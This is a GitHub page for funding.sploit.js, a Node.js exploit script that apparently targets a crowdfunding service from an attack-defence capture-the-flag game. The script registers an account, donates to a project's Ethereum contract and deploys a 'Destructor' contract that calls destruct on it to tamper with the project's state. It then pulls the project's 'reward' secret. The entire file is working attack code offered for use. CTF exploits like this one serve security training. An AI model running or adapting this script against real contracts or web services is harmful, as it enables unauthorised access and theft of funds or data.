-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathfunding.sploit.js
executable file
·103 lines (83 loc) · 4.41 KB
/
funding.sploit.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#!/usr/bin/env node
import {ethereum} from "./config.js";
import {readFileSync} from "fs";
import {argv} from "node:process";
import {Web3} from "web3";
import fetch from "node-fetch"
import fetchWithCookies, {CookieJar} from "node-fetch-cookies"
const web3 = new Web3(ethereum.node);
const sender = ethereum.accounts[0];
const ProjectContract = JSON.parse(readFileSync('../../services/funding/ethereum/artifacts/contracts/Project.sol/Project.json'));
const DestructorContract = JSON.parse(readFileSync('./contracts/Destructor.json'));
function _getUrlPrefix(host) {
if (process.env.DIRECT_CONNECT)
return `http://${host}:3001`;
return `https://${host}/api`;
}
async function makeContractCall(call, contractAddress, sender, value=null) {
let lastException;
for (let t = 0; t < 3; t++) {
try {
const gasPrice = await web3.eth.getGasPrice();
const gasEstimate = await call.estimateGas({ from: sender.address, value });
const tx = await web3.eth.accounts.signTransaction({data: call.encodeABI(), to: contractAddress, from: sender.address, gas: gasEstimate, gasPrice, gasEstimate, value}, sender.privateKey);
return await web3.eth.sendSignedTransaction(tx.rawTransaction);
} catch (e) {
console.error(`Can not make transaction: ${e}. I will try one more time (it was try #${t + 1}/3)`);
lastException = e;
}
}
throw lastException;
}
async function authenticate(url) {
const cookieJar = new CookieJar("");
// We assume that nobody has registered this account previously, so we can use any password here
const body = JSON.stringify({address: sender.address, password: "b550cb0a11ef7f18913b5431d5b6b897"});
console.log(`Try to authenticate with address ${sender.address} and password "b550cb0a11ef7f18913b5431d5b6b897"`);
const result = await (await fetchWithCookies(cookieJar, `${url}/users`, {method: "POST", body: body, headers: {"Content-Type": "application/json"}})).json();
if (!result.user_id)
throw Error(`Can not authenticate: ${JSON.stringify(result)}`)
return cookieJar;
}
async function donate(projectAddress) {
const contract = new web3.eth.Contract(ProjectContract.abi, projectAddress);
console.log(`Donate to project via calling Project.donate() at ${projectAddress}`);
await makeContractCall(contract.methods.donate(), projectAddress, sender, web3.utils.toWei(0.0001, "ether"));
}
async function deployDestructor() {
const contract = new web3.eth.Contract(DestructorContract.abi);
const call = contract.deploy({data: DestructorContract.bytecode});
const gasPrice = await web3.eth.getGasPrice();
const gasEstimate = await call.estimateGas({ from: sender.address });
const tx = await web3.eth.accounts.signTransaction({data: call.encodeABI(), from: sender.address, gas: gasEstimate, gasPrice, value: web3.utils.toWei(0.001, "ether")}, sender.privateKey);
const receipt = await web3.eth.sendSignedTransaction(tx.rawTransaction);
return receipt.contractAddress;
}
async function hack(url, projectId) {
let project = (await (await fetch(`${url}/projects/${projectId}`)).json()).project;
console.log("Trying to hack the project:", project);
const cookieJar = await authenticate(url);
await donate(project.address);
project = (await (await fetch(`${url}/projects/${projectId}`)).json()).project;
console.log("Project after donating:", project);
const destructorAddress = await deployDestructor();
console.log(`Deployed Destructor at ${destructorAddress}`);
const contract = new web3.eth.Contract(DestructorContract.abi, destructorAddress);
console.log(`Calling Destructor.destruct(${project.address}) at ${destructorAddress}`);
await makeContractCall(contract.methods.destruct(project.address), destructorAddress, sender);
project = (await (await fetch(`${url}/projects/${projectId}`)).json()).project;
console.log("Project after hacking:", project);
const reward = await (await fetchWithCookies(cookieJar, `${url}/projects/${projectId}/reward`)).json()
console.log(`Extracted reward: ${JSON.stringify(reward)}`);
}
async function main() {
if (argv.length < 4) {
console.error(`USAGE: ${argv[1]} <host> <project-id>`);
process.exit(1);
}
const host = argv[2];
const projectId = parseInt(argv[3])
const url = _getUrlPrefix(host);
await hack(url, projectId);
}
main().catch(console.log);